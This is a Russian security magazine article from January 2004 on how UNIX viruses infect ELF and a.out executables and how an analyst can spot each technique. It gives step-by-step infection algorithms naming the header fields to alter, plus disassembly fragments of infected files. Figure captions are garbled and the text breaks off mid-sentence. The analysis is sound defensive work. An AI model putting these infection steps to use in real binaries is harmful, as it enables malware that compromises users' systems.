безопасность Существует по меньшей мере три пути для решения этой задачи: ! использовать системные функции жертвы (если они у нее, конечно, есть); ! дополнить таблицу импорта жертвы всем необходимым; ! использовать native-API операционной системы. И последнее. Ассемблерные вирусы (а таковых среди UNIX-вирусов подавляющее большинство) разительно отличаются от откомпилированных программ нетипичным для языков высокого уровня лаконичным, но в то же время излишне прямолинейным стилем. Поскольку упаковщики исполняемых файлов в мире UNIX практически никем не используются, всякая посторонняя «нашлепка» на исполняемый файл с высокой степенью вероятности является троянской компонентой или вирусом. Теперь рассмотрим каждый из вышеперечисленных пунктов во всех подробностях.

сильно затрудняет анализ. Код вируса навряд ли будет очень большим, и на восстановление алгоритма шифрования (если тот действительно имеет место) не уйдет много времени. Хуже, если вирус переносит часть оригинального файла в сегмент данных, а часть – в сегмент кода. Такой файл выглядит как обыкновенная программа за тем единственным исключением, что большая часть кодового сегмента представляет собой «мертвый код», никогда не получающий управления. Сегмент данных на первый взгляд выглядит как будто бы нормально, однако при внимательном рассмотрении обнаруживается, что все перекрестные ссылки (например, ссылки на текстовые строки) смещены относительно их «родных» адресов. Как нетрудно догадаться – величина смещения и представляет собой длину вируса. Дизассемблирование выявляет характерные для вирусов этого типа функции exec и fork, использующиеся для запуска «вылеченного» файла, функцию chmod для присвоения файлу атрибута исполняемого и т. д.

Заражение посредством поглощения файла Вирусы этого типа пишутся преимущественно начинающими программистами, еще не успевшими освоить азы архитектуры операционной системы, но уже стремящимися кому-то сильно напакостить. Алгоритм заражения в общем виде выглядит так: вирус находит жертву, убеждается, что она еще не заражена и что все необходимые права на модификацию этого файла у него присутствуют. Затем он считывает жертву в память (временный файл) и записывает себя поверх заражаемого файла. Оригинальный файл дописывается в хвост вируса как оверлей, либо же помещается в сегмент данных (см. рис. 1). Получив управление, вирус извлекает из своего тела содержимое оригинального файла, записывает его во временный файл, присваивает ему атрибут исполняемого и запускает «излеченный» файл на выполнение, после чего удаляет с диска вновь. Поскольку подобные манипуляции редко остаются незамеченными, некоторые вирусы отваживаются на «ручную» загрузку жертвы с диска. Впрочем, процедуру для корректной загрузки ELF-файла написать нелегко и еще сложнее ее отладить, поэтому появление таких вирусов представляется достаточно маловероятным (ELF – это вам не простенький a.out!) Характерной чертой подобных вирусов является крошечный сегмент кода, за которым следует огромный сегмент данных (оверлей), представляющий собой самостоятельный исполняемый файл. Попробуйте контекстным поиском найти ELF/COFF/a.out заголовок – в зараженном файле их будет два! Только не пытайтесь дизассемблировать оверлей/сегмент данных, – осмысленного кода все равно не получится, т.к., во-первых, для этого требуется знать точное расположение точки входа, а во-вторых, расположить хвост дизассемблируемого файла по его законным адресам. К тому же оригинальное содержимое файла может быть умышленно зашифровано вирусом, и тогда дизассемблер вернет бессодержательный мусор, в котором будет непросто разобраться. Впрочем, это не

Ðèñóíîê 1. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì åãî ïîãëîùåíèÿ

Ðèñóíîê 2. Ïðèìåð ôàéëà, ïîãëîùåííîãî âèðóñîì UNIX.a.out. Êðîõîòíûé, âñåãî â òðèñòà áàéò, ðàçìåð êîäîâîé ñåêöèè óêàçûâàåò íà âûñîêóþ âåðîÿòíîñòü çàðàæåíèÿ

Заражение посредством расширения последней секции файла Простейший способ неразрушающего заражения файла состоит в расширении последней секции/сегмента жертвы и дозаписи своего тела в ее конец (далее по тексту просто «секции», хотя применительно к ELF-файлам это будет несколько некорректно, т.к. системный загрузчик исполняемых ELF-файлов работает исключительно с сегментами, а секции игнорирует). Строго говоря, это утверждение не совсем верно. Последней секцией файла, как правило, является секция .bss, предназначенная для хранения неинициализированных данных. Внедряться сюда можно, но бессмысленно,

безопасность поскольку загрузчик не настолько глуп, чтобы тратить драгоценное процессорное время на загрузку неинициализированных данных с медленного диска. Правильнее было бы сказать «последней значимой секции», но давайте не будем придираться, это ведь не научная статья, верно? Перед секций .bss обычно располагается секция .data, содержащая инициализированные данные. Вот она-то и становится основным объектом вирусной атаки! Натравив дизассемблер на исследуемый файл, посмотрите, в какой секции расположена точка входа. И если этой секцией окажется секция данных (как, например, в случае, изображенном в листинге 5), исследуемый файл с высокой степенью вероятности заражен вирусом. При внедрении в a.out-файл вирус в общем случае должен проделать следующие действия: ! считав заголовок файла, убедиться, что это действительно a.out-файл; ! увеличить поле a_data на величину, равную размеру своего тела; ! скопировать себя в конец файла; ! скорректировать содержимое поля a_entry для перехвата управления (если вирус действительно перехватывает управление таким образом). Внедрение в ELF-файлы происходит несколько более сложным образом: ! вирус открывает файл и, считывая его заголовок, убеждается, что это действительно ELF; ! просматривая Program Header Table, вирус отыскивает сегмент, наиболее подходящий для заражения (для заражения подходит любой сегмент с атрибутом PL_LOAD; собственно говоря, остальные сегменты более или менее подходят тоже, но вирусный код в них будет смотреться несколько странно); ! найденный сегмент «распахивается» до конца файла и увеличивается на величину, равную размеру тела вируса, что осуществляется путем синхронной коррекции полей p_filez и p_memz; ! вирус дописывает себя в конец заражаемого файла; ! для перехвата управления вирус корректирует точку входа в файл (e_entry), либо же внедряет в истинную точку входа jmp на свое тело (впрочем, методика перехвата управления тема отдельного большого разговора). Маленькое техническое замечание. Секция данных, как правило, имеет всего лишь два атрибута: атрибут чтения (Read) и атрибут записи (Write). Атрибут исполнения (Execute) у нее по умолчанию отсутствует. Означает ли это, что выполнение вирусного кода в ней окажется невозможным? Вопрос не имеет однозначного ответа. Все зависит от особенностей реализации конкретного процессора и конкретной операционной системы. Некоторые из них игнорируют отсутствие атрибута исполнения, полагая, что право исполнения кода напрямую вытекает из права чтения. Другие же возбуждают исключение, аварийно завершая выполнение зараженной программы. Для обхода этой ситуации вирусы мо-

№1(14), январь 2004

гут присваивать секции данных атрибут Execute, выдавая тем самым себя с головой, впрочем, такие экземпляры встречаются крайне редко, и подавляющее большинство вирусописателей оставляет секцию данных с атрибутами по умолчанию. Другой немаловажный и не очевидный на первый взгляд момент. Задумайтесь, как изменится поведение зараженного файла при внедрении вируса в не-последнюю секцию .data, следом за которой расположена .bss? А никак не изменится! Несмотря на то, что последняя секция будет спроецирована совсем не по тем адресам, программный код об этом «не узнает» и продолжит обращаться к неинициализированным переменным по их прежним адресам, теперь занятых кодом вируса, который к этому моменту уже отработал и возвратил оригинальному файлу все бразды правления. При условии, что программный код спроектирован корректно и не закладывается на начальное значение неинициализированных переменных, присутствие вируса не нарушит работоспособности программы. Однако в суровых условиях реальной жизни этот элегантный прием заражения перестает работать, поскольку среднестатистическое UNIX-приложение содержит порядка десяти различных секций всех назначений и мастей. Взгляните, например, на строение утилиты ls, позаимствованной из следующего дистрибутива UNIX: Red Hat 5.0: Ëèñòèíã 5. Òàê âûãëÿäèò òèïè÷íàÿ êàðòà ïàìÿòè íîðìàëüíîãî ôàéëà

Секция .data расположена в самой «гуще» файла, и чтобы до нее добраться, вирусу придется позаботиться о модификации семи остальных секций, скорректировав их поля p_offset (смещение секции от начала файла) надлежащим образом. Некоторые вирусы этого не делают, в результате чего зараженные файлы не запускаются. С другой стороны, секция .data рассматриваемого файла насчитывает всего 10h байт, поскольку львиная часть данных программы размещена в секции .rodata (секции данных, доступной только на чтение). Это типичная практика современных линкеров, и большинство исполняемых файлов организованы именно так. Вирус не может разместить свой код в секции .data, поскольку это делает его слишком заметным, не может он внедриться и в .rodata, т.к. в этом случае он не сможет себя расшифровать (выделить память на стеке и скопировать туда свое тело – не предлагать: для современных вирусописателей это слишком сложно). Да и смысла в этом будет немного. Коль скоро вирусу приходится внедряться не в конец, а в середину файла, уж лучше ему внедриться не в секцию данных, а в секцию .text, содержащую машинный код. Там вирус будет не так заметен (он об этом мы поговорим позже см. «Заражение посредством расширения кодовой секции файла»).

безопасность

Ðèñóíîê 3. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì ðàñøèðåíèÿ åãî ïîñëåäíåé ñåêöèè

Ðèñóíîê 4. Âíåøíèé âèä ôàéëà, çàðàæåííîãî âèðóñîì PolyEngine.Linux.LIME.poly; âèðóñ âíåäðÿåò ñâîå òåëî â êîíåö ñåêöèè äàííûõ è óñòàíàâëèâàåò íà íåãî òî÷êó âõîäà. Íàëè÷èå èñïîëíÿåìîãî êîäà â ñåêöèè äàííûõ äåëàåò ïðèñóòñòâèå âèðóñà ÷ðåçâû÷àéíî çàìåòíûì

Сжатие части оригинального файла Древние считали, что истина в вине. Они явно ошибались. Истина в том, что день ото дня программы становятся все жирнее и жирнее, а вирусы все изощреннее и изощреннее. Какой бы уродливый код ни выбрасывала на рынок фирма Microsoft, он все же лучше некоторых UNIX-подделок. Например файл cat, входящий в FreeBSD 4.5, занимает более 64 Кб. Не слишком ли много для простенькой утилиты?! Просмотр файла под HEX-редактором обнаруживает большое количество регулярных последовательностей (в большинстве своем – цепочек нулей), которые либо вообще никак не используется, либо поддаются эффективному сжатию. Вирус, соблазнившись наличием свободного места, может скопировать туда свое тело, пускай ему и придется «рассыпаться» на несколько десятков пятен. Если же свободное место отсутствует – не беда! Практически каждый исполняемый файл содержит большое количество текстовых строк, а текстовые строки, как хорошо известно, легко поддаются сжатию. На первый взгляд, такой алгоритм заражения кажется чрезвычайно сложным, но, поверьте, реализовать простейший упаковщик Хаффмана намного проще того шаманства с раздвижками секций, что приходится делать вирусу для внедрения в середину файла. К тому же

при таком способе заражения длина файла остается неизменной, что частично скрывает факт наличия вируса. Рассмотрим, как происходит внедрение вируса в кодовый сегмент. В простейшем случае вирус сканирует файл на предмет поиска более или менее длинной последовательности команд NOP, использующихся для выравнивания программного кода по кратным адресам, записывает в них кусочек своего тела и добавляет команду перехода на следующий фрагмент. Так продолжается до тех пор, пока вирус полностью не окажется в файле. На завершающем этапе заражения вирус записывает адреса «захваченных» им фрагментов, после чего передает управление файлу-носителю (если этого не сделать, вирус не сможет скопировать свое тело в следующий заражаемый файл, правда, пара особо изощренных вирусов содержит встроенный трассировщик, автоматически собирающий тело вируса на лету, но это чисто лабораторные вирусы, и на свободе им не гулять). Различные программы содержат различное количество свободного места, расходующегося на выравнивание. В частности, программы, входящие в базовый комплект поставки FreeBSD 4.5, преимущественно откомилированы с выравниванием на величину 4-х байт. Учитывая, что команда безусловного перехода в x86-системах занимает по меньшей мере два байта, втиснуться в этот скромный объем вирусу просто нереально. С операционной системой Red Hat 5.0 дела обстоят иначе. Кратность выравнивания, установленная на величину от 08h до 10h байт, с легкостью вмещает в себя вирус средних размеров. Ниже в качестве примера приведен фрагмент дизассемблерного листинга утилиты PING, зараженной вирусом UNIX.NuxBe.quilt (модификация известного вируса NuxBee, опубликованного в электронном журнале, выпускаемом группой #29A). Даже начинающий исследователь легко обнаружит присутствие вируса в теле программы. Характерная цепочка jmp, протянувшаяся через весь сегмент данных, не может не броситься в глаза. В «честных» программах такого практически никогда не бывает (хитрые конвертные защиты и упаковщики исполняемых файлов, построенные на полиморфных движках, мы оставим в стороне). Отметим, что фрагменты вируса не обязательно должны следовать линейно. Напротив, вирус (если только его создатель не даун) предпримет все усилия, чтобы замаскировать факт своего существования. Вы должны быть готовы к тому, что jmp будут блохой скакать по всему файлу, используя «левые» эпилоги и прологи для слияния с окружающими функциями. Но этот обман легко разоблачить по перекрестным ссылкам, автоматически генерируемым дизассемблером IDA Pro (на подложные прологи/эпилоги перекрестные ссылки отсутствуют!): Ëèñòèíã 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì UNIX.NuxBe.quilt, «ðàçìàçûâàþùèì» ñåáÿ ïî êîäîâîé ñåêöèè .text:08000BD9 xor eax, eax .text:08000BDB xor ebx, ebx .text:08000BDD jmp short loc_8000C01 … .text:08000C01 loc_8000C01: ; CODE XREF: .text:0800BDD↑j .text:08000C01 mov ebx, esp .text:08000C03 mov eax, 90h .text:08000C08 int 80h ; LINUX - sys_msync .text:08000C0A add esp, 18h

безопасность .text:08000C0D jmp loc_8000D18 … .text:08000D18 loc_8000D18: ; CODE XREF: .text:08000C0D↑j .text:08000D18 dec eax .text:08000D19 jns short loc_8000D53 .text:08000D1B jmp short loc_8000D2B … .text:08000D53 loc_8000D53: ; CODE XREF: .text:08000D19↑j .text:08000D53 inc eax .text:08000D54 mov [ebp+8000466h], eax .text:08000D5A mov edx, eax .text:08000D5C jmp short loc_8000D6C

Кстати говоря, рассмотренный нами алгоритм не совсем корректен. Цепочка NOP может встретиться в любом месте программы (например, внутри функции), и тогда зараженный файл перестанет работать. Чтобы этого не произошло, некоторые вирусы выполняют ряд дополнительных проверок, в частности убеждаются, что NOP расположены между двумя функциями, опознавая их по командам пролога/эпилога. Внедрение в секцию данных осуществляется еще проще. Вирус ищет длинную цепочку нулей, разделенную читабельными (точнее – printable) ASCII-символами и, найдя таковую, полагает, что он находится на ничейной территории, образовавшейся в результате выравнивания текстовых строк. Поскольку текстовые строки все чаще располагаются в секции .rodata, доступной лишь на чтение, вирус должен быть готов сохранять все модифицируемые им ячейки на стеке и/или динамической памяти. Забавно, но вирусы этого типа достаточно трудно обнаружить. Действительно, наличие нечитабельных ASCIIсимволов между текстовыми строками – явление вполне нормальное. Может быть, это смещения или еще какие структуры данных, на худой конец – мусор, оставленный линкером! Взгляните на рисунок 5, приведенный ниже. Согласитесь, что факт зараженности файла вовсе не так очевиден:

Ðèñóíîê 5. Òàê âûãëÿäåë ôàéë cat äî (íàâåðõó) è ïîñëå (ñíèçó) åãî çàðàæåíèÿ

№1(14), январь 2004

Исследователи, имеющие некоторый опыт работы с IDA, здесь, возможно, возразят: мол, какие проблемы? Подогнал курсор к первому символу, следующему за концом ASCIIZ-строки, нажал на <C>, и… дизассемблер мгновенно распахнул код вируса, живописно вплетенный в текстовые строки (см. листинг 7). На самом деле так случается только в теории. Среди нечитабельных символов вируса присутствуют и читабельные тоже. Эвристический анализатор IDA, ошибочно приняв последние за «настоящие» текстовые строки, просто не позволит их дизассемблировать. Ну, во всяком случае до тех пор, пока они явно не будут «обезличены» нажатием клавиши <U>. К тому же вирус может вставлять в начало каждого своего фрагмента специальный символ, являющийся частью той или иной машинной команды и сбивающий дизассемблер с толку. В результате IDA дизассемблирует всего лишь один-единственный фрагмент вируса (да и тот некорректно), после чего заткнется, подталкивая нас к индуктивному выводу, что мы имеем дело с легальной структурой данных, и зловредный машинный код здесь отродясь не ночевал. Увы! Какой бы могучей IDA ни была, она все-таки не всесильна, и над всяким полученным листингом вам еще предстоит поработать. Впрочем, при некотором опыте дизассемблирования многие машинные команды распознаются в HEX-дампе с первого взгляда (пользуясь случаем, отсылаю вас к «Технике и философии хакерских атак/ дизассемблирование в уме», ставшей уже библиографической редкостью, т.к. ее дальнейших переизданий уже не планируется): Ëèñòèíã 7. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì UNIX.NuxBe.jullet, «0ðàçìàçûâàþùèì» ñåáÿ ïî ñåêöèè äàííûõ .rodata:08054140 aFileNameTooLon db 'File name too long',0 .rodata:08054153 ; ---------------------------------------.rodata:08054153 mov ebx, 1 .rodata:08054158 mov ecx, 8049A55h .rodata:08054158 jmp loc_80541A9 .rodata:08054160 ; --------------------------------------.rodata:08054160 aTooManyLevelsO db 'Too many levels ↵ of symbolic links',0 .rodata:08054182 aConnectionRefu db 'Connection refused',0 .rodata:08054195 aOperationTimed db 'Operation timed out',0 .rodata:080541A9 ; --------------------------------------.rodata:080541A9 loc_80541A9: .rodata:080541A9 mov edx, 2Dh .rodata:080541AE int 80h ; LINUX .rodata:080541B0 mov ecx, 51000032h .rodata:080541B5 mov eax, 8 .rodata:080541BA jmp loc_80541E2 .rodata:080541BA ; --------------------------------------.rodata:080541BF db 90h ; Ð .rodata:080541C0 aTooManyReferen db 'Too many references: ↵ can',27h,'t splice',0 .rodata:080541E2 ; --------------------------------------.rodata:080541E2 loc_80541E2: .rodata:080541E2 mov ecx, 1FDh .rodata:080541E7 int 80h ; LINUX - sys_creat .rodata:080541E9 push eax .rodata:080541EA mov eax, 0 .rodata:080541EF add [ebx+8049B43h], bh .rodata:080541F5 mov ecx, 8049A82h .rodata:080541FA jmp near ptr unk_8054288 .rodata:080541FA ; --------------------------------------.rodata:080541FF db 90h ; Ð .rodata:08054200 aCanTSendAfterS db 'Can',27h,'t send ↵ after socket shutdown',0

Однако требуемого количества междустрочных байт удается наскрести далеко не во всех исполняемых фай-

безопасность лах, и тогда вирус может прибегнуть к поиску более или менее регулярной области с последующим ее сжатием. В простейшем случае ищется цепочка, состоящая из одинаковых байт, сжимаемая по алгоритму RLE. При этом вирус должен следить за тем, чтобы не нарваться на мину перемещаемых элементов (впрочем, ни один из известных автору вирусов этого не делал). Получив управление и совершив все, что он хотел совершить, вирус забрасывает на стек распаковщик сжатого кода, отвечающий за приведение файла в исходное состояние. Легко видеть, что таким способом заражаются лишь секции, доступные как на запись, так и на чтение (т.е. наиболее соблазнительные секции .rodata и .text уже не подходят, ну разве что вирус отважится изменить их атрибуты, выдавая факт заражения с головой). Наиболее настырные вирусы могут поражать и секции неинициализированных данных. Нет, это не ошибка, такие вирусы действительно есть. Их появление объясняется тем обстоятельством, что полноценный вирус в «дырах», оставшихся от выравнивания, разместить всетаки трудно, но вот вирусный загрузчик туда влезает вполне. Секции неинициализированных данных, строго говоря, не только не обязаны загружаться с диска в память (хотя некоторые UNIX их все-таки загружают), но могут вообще отсутствовать в файле, динамически создаваясь системным загрузчиком на лету. Однако вирус и не собирается искать их в памяти! Вместо этого он вручную считывает их непосредственно с самого зараженного файла (правда, в некоторых случаях доступ к текущему выполняемому файлу предусмотрительно блокируется операционной системой). На первый взгляд, помещение вирусом своего тела в секции неинициализированных данных ничего не меняет (если даже не демаскирует вирус), но при попытке поимки такого вируса за хвост он выскользнет из рук. Секция неинициализированных данных визуально ничем не отличается от всех остальных секций файла, и содержать она может все, что угодно: от длинной серии нулей, до копирайтов разработчика. В частности, создатели дистрибутива FreeBSD 4.5 именно так и поступают (см. листинг 8). Ëèñòèíã 8. Òàê âûãëÿäèò ñåêöèÿ .bss áîëüøèíñòâà ôàéëîâ èç êîìïëåêòà ïîñòàâêè Free BSD

Ряд дизассемблеров (и IDA Pro в том числе) по вполне логичным соображениям не загружает содержимое секций неинициализированных данных, явно отмечая это обстоятельство двойным знаком вопроса (см. листинг 9). Приходится исследовать файл непосредственно в HIEW или любом другом HEX-редакторе, разбирая a.out/ELFформат «вручную», т.к. популярные HEX-редакторы его не поддерживают. Скажите честно: готовы ли вы этим

реально заниматься? Так что, как ни крути, а вирусы этого типа имеют все шансы на выживание, пусть массовых эпидемий им никогда не видать. Ëèñòèíã 9. Òàê âûãëÿäèò ñåêöèÿ .bss â äèçàññåìáëåðå IDA Pro è áîëüøèíñòâå äðóãèõ äèçàññåìáëåðîâ

Заражение посредством расширения кодовой секции файла Наибольшую скрытность вирусу обеспечивает внедрение в кодовую секцию заражаемого файла, находящуюся глубоко в середине последнего. Тело вируса, сливаясь с исходным машинным кодом, виртуально становится совершенно не отличимым от «нормальной» программы, и обнаружить такую заразу можно лишь анализом ее алгоритма (см. также «Основные признаки вирусов»). Безболезненное расширение кодовой секции возможно лишь в ELF- и COFF-файлах (под «безболезненностью» здесь понимается отсутствие необходимости в перекомпиляции файла-жертвы), и достигается оно за счет того замечательного обстоятельства, что стартовые виртуальные адреса сегментов/секций отделены от их физических смещений, отсчитываемых от начала файла. Алгоритм заражения ELF-файла в общем виде выглядит так (внедрение в COFF-файлы осуществляется аналогичным образом): ! вирус открывает файл и, считав его заголовок, убеждается, что это действительно ELF; ! заголовок таблицы секций (Section Header Table) перемещается вниз на величину, равную длине тела вируса. Для этого вирус увеличивает содержимое поля e_shoff, оккупирующего 20h – 23h байты ELF-заголовка, (примечание: заголовок таблицы секций, равно как и сами секции, имеет значение только для компоновочных файлов, загрузчик исполняемых файлов их игнорирует, независимо от того, присутствуют они в файле или нет); ! просматривая Program Header Table, вирус находит сегмент, наиболее предпочтительный для заражения (т.е. тот сегмент, в который указывает точка входа); ! длина найденного сегмента увеличивается на величину, равную размеру тела вируса. Это осуществляется путем синхронной коррекции полей p_filez и p_memz; ! все остальные сегменты смещаются вниз, при этом поле p_offset каждого из них увеличивается на длину тела вируса; ! анализируя заголовок таблицы секций (если он только присутствует в файле), вирус находит секцию, наиболее предпочтительную для заражения (как правило, заражается секция, находящаяся в сегменте последней: это избавляет вируса от необходимости перемещения всех остальных секций вниз); ! размер заражаемой секции (поле sh_size) увеличивается на величину, равную размеру тела вируса;

безопасность ! все хвостовые секции сегмента смещаются вниз, при

! !

этом поле sh_offset каждой из них увеличивается на длину тела вируса (если вирус внедряется в последнюю секцию сегмента, этого делать не нужно); вирус дописывает себя к концу заражаемого сегмента, физически смещая содержимое всей остальной части файла вниз; для перехвата управления вирус корректирует точку входа в файл (e_entry) либо же внедряет в истинную точку входа jmp на свое тело (впрочем, методика перехвата управления – тема отдельного большого разговора).

Прежде чем приступить к обсуждению характерных «следов» вирусного внедрения, давайте посмотрим, какие секции в каких сегментах обычно бывают расположены. Оказывается, схема их распределения далеко не однозначна и возможны самые разнообразные вариации. В одних случаях секции кода и данных помещаются в отдельные сегменты, в других – секции данных, доступные только на чтение, объединяются с секциями кода в единый сегмент. Соответственно и последняя секция кодового сегмента каждый раз будет иной. Большинство файлов включает в себя более одной кодовой секции, и располагаются эти секции приблизительно так: Ëèñòèíã 10. Ñõåìà ðàñïîëîæåíèÿ êîäîâûõ ñåêöèé òèïè÷íîãî ôàéëà .init .plt .text .fini

ñîäåðæèò ñîäåðæèò ñîäåðæèò ñîäåðæèò

èíèöèàëèçàöèîííûé êîä òàáëèöó ñâÿçêè ïîäïðîãðàìì îñíîâíîé êîä ïðîãðàììû òåðìèðóþùèé êîä ïðîãðàììû

Присутствие секции .finit делает секцию .text не последней секцией кодового сегмента файла, как чаще всего и происходит. Таким образом, в зависимости от стратегии распределения секций по сегментам, последней секцией файла обычно является либо секция .finit, либо .rodata. Секция .finit в большинстве своем это такая крохотная секция, заражение которой трудно оставить незамеченным. Код, расположенный в секции .finit и непосредственно перехватывающий на себя нить выполнения программой, выглядит несколько странно, если не сказать – подозрительно (обычно управление на .finit передается косвенным образом как аргумент функции atexit). Вторжение будет еще заметнее, если последней секцией в заражаемом сегменте окажется секция .rodata (машинный код при нормальном развитии событий в данные никогда не попадает). Не остается незамеченным и вторжение в конец первой секции кодового сегмента (в последнюю секцию сегмента, предшествующему кодовому сегменту), поскольку кодовый сегмент практически всегда начинается с секции .init, вызываемой из глубины стартового кода и по обыкновению содержащей пару-тройку машинных команд. Вирусу здесь будет просто негде затеряться, и его присутствие сразу же становится заметным! Более совершенные вирусы внедряются в конец секции .text, сдвигая все остальное содержимое файла вниз. Распознать такую заразу значительно сложнее, посколь-

№1(14), январь 2004

ку визуально структура файла выглядит неискаженной. Однако некоторые зацепки все-таки есть. Во-первых, оригинальная точка входа подавляющего большинства файлов расположена в начале кодовой секции, а не в ее конце. Во-вторых, зараженный файл имеет нетипичный стартовый код (подробнее об этом рассказывалось в предыдущей статье). И, в-третьих, далеко не все вирусы заботятся о выравнивании сегментов (секций). Последний случай стоит рассмотреть особо. Системному загрузчику, ничего не знающему о существовании секций, степень их выравнивания некритична. Тем не менее, во всех нормальных исполняемых файлах секции тщательно выровнены на величину, указанную в поле sh_addralign. При заражении файла вирусом последний далеко не всегда оказывается так аккуратен, и некоторые секции могут неожиданно для себя очутиться по некратным адресам. Работоспособности программы это не нарушит, но вот факт вторжения вируса сразу же демаскирует. Сегменты выравнивать тоже необязательно (при необходимости системный загрузчик сделает это сам), однако программистский этикет предписывает выравнивать секции, даже если поле p_align равно нулю (т.е. выравнивания не требуется). Все нормальные линкеры выравнивают сегменты по крайней мере на величину, кратную 32 байтам, хотя это происходит и не всегда. Тем не менее, если сегменты, следующие за сегментом кода, выровнены на меньшую величину – к такому файлу следует присмотреться повнимательнее. Другой немаловажный момент: при внедрении вируса в начало кодового сегмента он может создать свой собственный сегмент, предшествующий данному. И тут вирус неожиданно сталкивается с довольно интересной проблемой. Сдвинуть кодовый сегмент вниз он не может, т.к. тот обычно начинается с нулевого смещения в файле, перекрывая собой предшествующие ему сегменты. Зараженная программа в принципе может и работать, но раскладка сегментов становится слишком уж необычной, чтобы ее не заметить. Выравнивание функций внутри секций – это вообще вещь (в смысле: вещдок – вещественное доказательство). Кратность выравнивания функций нигде и никак не декларируется, и всякий программист склонен выравнивать функции по-своему. Одни используют выравнивание на адреса, кратные 04h, другие – 08h, 10h или даже 20h! Определить степень выравнивания без качественного дизассемблера практически невозможно. Требуется выписать стартовые адреса всех функций и найти наибольший делитель, на который все они делятся без остатка. Дописывая себя в конец кодового сегмента, вирус наверняка ошибется с выравниванием адреса пролога функции (если он вообще позаботится о создании функции в этом месте!), и он окажется отличным от степени выравнивания, принятой всеми остальными функциями (попутно заметим, что определять степень выравнивания при помощи дизассемблера IDA PRO – плохая идея, т.к. она определяет ее неправильно, закладываясь на наименьшее возможное значение, в результате чего вычисленная степень выравнивания от функции к функции будет варьироваться).

безопасность Классическим примером вируса, внедряющегося в файл путем расширения кодового сегмента, является вирус Linux.Vit.4096. Любопытно, что различные авторы по-разному описывают стратегии, используемые вирусом для заражения. Так, Евгений Касперский почему-то считает, что вирус Vit записывается в начало кодовой секции заражаемого файла (http://www.viruslist.com/viruslist.html?id=3276), в то время как он размещает свое тело в конце кодового сегмента файла (http://www.nai.com/common/media/vil/pdf/ mvanvoers_VB_conf 202000.pdf). Ниже приведен фрагмент ELF-файла, зараженного вирусом Vit.

! программный код расположен в области, не принадлежащей никакой секции. Следует сказать, что исследование файлов с искаженным заголовком таблицы секций представляет собой достаточно простую проблему. Дизассемблеры и отладчики либо виснут, либо отображают такой файл неправильно, либо же не загружают его вообще. Поэтому, если вы планируете заниматься исследованием зараженных файлов не день и не два, лучше всего будет написать свою собственную утилиту для их анализа.

Сдвиг кодовой секции вниз

Ðèñóíîê 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì Lin/Vit. Ïîëÿ, ìîäèôèöèðîâàííûå âèðóñîì, âûäåëåíû òðàóðíîé ðàìêîé

Многие вирусы (и в частности, вирус Lin/Obsidan) выдают себя тем, что при внедрении в середину файла «забывают» модифицировать заголовок таблицы секций (либо же модифицируют его некорректно). Как уже отмечалось выше, в процессе загрузки исполняемых файлов в память системный загрузчик считывает информацию о сегментах и проецирует их содержимое целиком. Внутренняя структура сегментов его совершенно не интересует. Даже если заголовок таблицы секций отсутствует или заполнен некорректно, запущенная на выполнение программа будет исправно работать. Однако несмотря на это, в подавляющем большинстве исполняемых файлов заголовок таблицы секций все-таки присутствует, и попытка его удаления оканчивается весьма плачевно – популярный отладчик gdb и ряд других утилит для работы с ELF-файлами отказываются признать «кастрированный» файл своим. При заражении исполняемого файла вирусом, некорректно обращающимся с заголовком таблицы секций, поведение отладчика становится непредсказуемым, демаскируя тем самым факт вирусного вторжения. Перечислим некоторые наиболее характерные признаки заражения исполняемых файлов (вирусы, внедряющиеся в компоновочные файлы, обрабатывают заголовок таблицы секций вполне корректно, в противном случае зараженные файлы тут же откажут в работе и распространение вируса немедленно прекратится): ! поле e_shoff указывает «мимо» истинного заголовка таблицы секций (так себя ведет вирус Lin/Obsidan) либо имеет нулевое значение при непустом заголовке таблицы секций (так себя ведет вирус Linux.Garnelis); !поле e_shoff имеет ненулевое значение, но ни одного заголовка таблицы секций в файле нет; !заголовок таблицы секций содержится не в конце файла, этих заголовков несколько или заголовок таблицы секций попадает в границы владения одного из сегментов; ! сумма длин всех секций одного сегмента не соответствует его полной длине;

Трудно объяснить причины, по которым вирусы внедряются в начало кодовой секции (сегмента) заражаемого файла или создают свой собственную секцию (сегмент), располагающуюся впереди. Этот прием не обеспечивает никаких преимуществ перед записью своего тела в конец кодовой секции (сегмента) и к тому же намного сложнее реализуется. Тем не менее, такие вирусы существуют и будут подробно здесь рассмотрены. Наилучший уровень скрытности достигается при внедрении в начало секции .text и осуществляется практически тем же самым образом, что и внедрение в конец, с той лишь разницей, что для сохранения работоспособности зараженного файла вирус корректирует поля sh_addr и p_vaddr, уменьшая их на величину своего тела и не забывая о необходимости выравнивания (если выравнивание действительно необходимо). Первое поле задает виртуальный стартовый адрес для проекции секции .text, второе – виртуальный стартовый адрес для проекции кодового сегмента. В результате этой махинации вирус оказывается в самом начале кодовой секции и чувствует себя довольно уверенно, поскольку при наличии стартового кода выглядит неотличимо от «нормальной» программы. Однако работоспособность зараженного файла уже не гарантируется, и его поведение рискует стать совершенно непредсказуемым, поскольку виртуальные адреса всех предыдущих секций окажутся полностью искажены. Если при компиляции программы компоновщик позаботился о создании секции перемещаемых элементов, то вирус (теоретически) может воспользоваться этой информацией для приведения впереди идущих секций в нормальное состояние, однако исполняемые файлы в своем подавляющем большинстве спроектированы для работы по строго определенным физическим адресам и потому неперемещаемы. Но даже при наличии перемещаемых элементов вирус не сможет отследить все случаи относительной адресации. Между секцией кода и секцией данных относительные ссылки практически всегда отсутствуют, и потому при вторжении вируса в конец кодовой секции работоспособность файла в большинстве случаев не нарушается. Однако внутри кодового сегмента случаи относительной адресации между секциями – скорее правило, нежели редкость. Взгляните на фрагмент дизассемблерного листинга утилиты ping, позаимствованный из UNIX Red Hat 5.0. Команду call, расположенную в секции .init, и вызываемую ею подпрограмму, находящуюся в секции .text, раз-

